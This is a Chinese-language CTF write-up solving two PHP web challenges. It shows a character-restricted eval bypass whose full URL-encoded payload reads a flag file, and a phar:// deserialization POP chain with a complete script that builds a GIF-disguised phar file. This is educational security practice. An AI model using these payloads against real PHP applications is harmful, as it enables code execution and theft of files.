Shellme_Revenge
在BsidesCTF2021中出过类似的题,利用的是一些数学上的trick
首先是注意到cookie中的hint,所以在请求中加上?looklook=1
即可看到源码:
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>
可用的字符有:大写C
、0到3
、[
、]
、$
、_
、(
、)
、;
首先是如何得到字符:
PHP认为结果是无限大时,给出的结果是:INF(Infinite)
如果一个数超出 Infinite,那就是: NaN(not-a-number)
var_dump(C/C) = float(NAN)
var_dump(1/C) = float(INF)
只要是两个字母相除都会被认为是NAN
,也就是0/0 = NAN
那么1/C
相当于 1/0 = INF
此外,得到NAN
还可以通过399个9
来得到,但不适合这题了
要获得单字符还得拼接一个字符上去,不然得到是NULL
$_ = C/C.C
var_dump($_[0]) # 得到 N
_GET
的构造如下:
$_=C;++$_;++$_;$C=$_;++$_;++$_;$__=_.$_.$C;$C=C/C.C;$_=$C[0];$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.$_;
var_dump($_) # _GET
所以最后$_GET[0]($_GET[1])
的构造如下
$_=C;++$_;++$_;$C=$_;++$_;++$_;$__=_.$_.$C;$C=C/C.C;$_=$C[0];$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.$_;$$_[0]($$_[1]);
需要进行URL编码,并用highlight_file
读文件
http://0e53fed8-692c-4850-84e4-fad73918286c.challenge.ctf.show:8080/?looklook=1&0=highlight_file&1=/flag.txt
ctf_show=%24_%3DC%3B%2B%2B%24_%3B%2B%2B%24_%3B%24C%3D%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24__%3D_.%24_.%24C%3B%24C%3DC%2FC.C%3B%24_%3D%24C%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24__.%24_%3B%24%24_%5B0%5D(%24%24_%5B1%5D)%3B
ATTup
本自己蠢哭的一题。。首先是找源码找了半天,因为对zip文件一类的上传不大熟,猜的是zip://
流的考点,然后上网看了点资料,结果老半天都没去抓包看响应内容,被自己蠢哭。。
在查询文件时的相应包中可以填入../find.php
或者就是那些存在的文件就能观测下面的源码了
class View {
public $fn;
public function __invoke(){
$text = base64_encode(file_get_contents($this->fn));
echo "<script>alert('".$text."');self.location=document.referrer;</script>";
}
}
class Fun{
public $fun = ":)";
public function __toString(){
$fuc = $this->fun;
$fuc();
return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
}
public function __destruct()
{
echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
}
}
$filename = $_POST["file"];
$stat = @stat($filename);
那么看到这些魔术方法基本就确定是利用phar://
对压缩的内容反序列化了,当然stat
这个函数确实是能够支持phar://
协议了
重温一下利用phar://
协议的条件:
1、能将phar文件上传
2、可利用函数 stat、fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、readfile、md5_file、filesize
3、存在魔术方法
4、: / phar 这些字符没有给过滤
最后构造一下POP链即可,结果因为反序列化基础太差,在这儿都想了好一会,回去一定要恶补反序列化5555
此外有个要注意的就是$phar->setStub
这行的内容不要写<?
与php
这字眼,否则会提示内容非法
stub的基本结构:
<?php __HALT_COMPILER();
,stub必须以__HALT_COMPILER();
来作为结束部分,否则Phar拓展将不会识别该文件。
运行下面这php文件生成test.phar
,再改后缀上传,然后phar://test.zip
查询即可
<?php
class Fun{
public $fun ;
}
class View {
public $fn='/flag';
}
$d=new Fun();
$v = new View();
$d->fun = $v;
$new = new Fun();
$new->fun = $d;
$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.' __HALT_COMPILER();'); //设置stub
$phar->setMetadata($new); //触发的开始是C1e4r(),所以传$c 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
剩下一道魔女真不会,一脸懵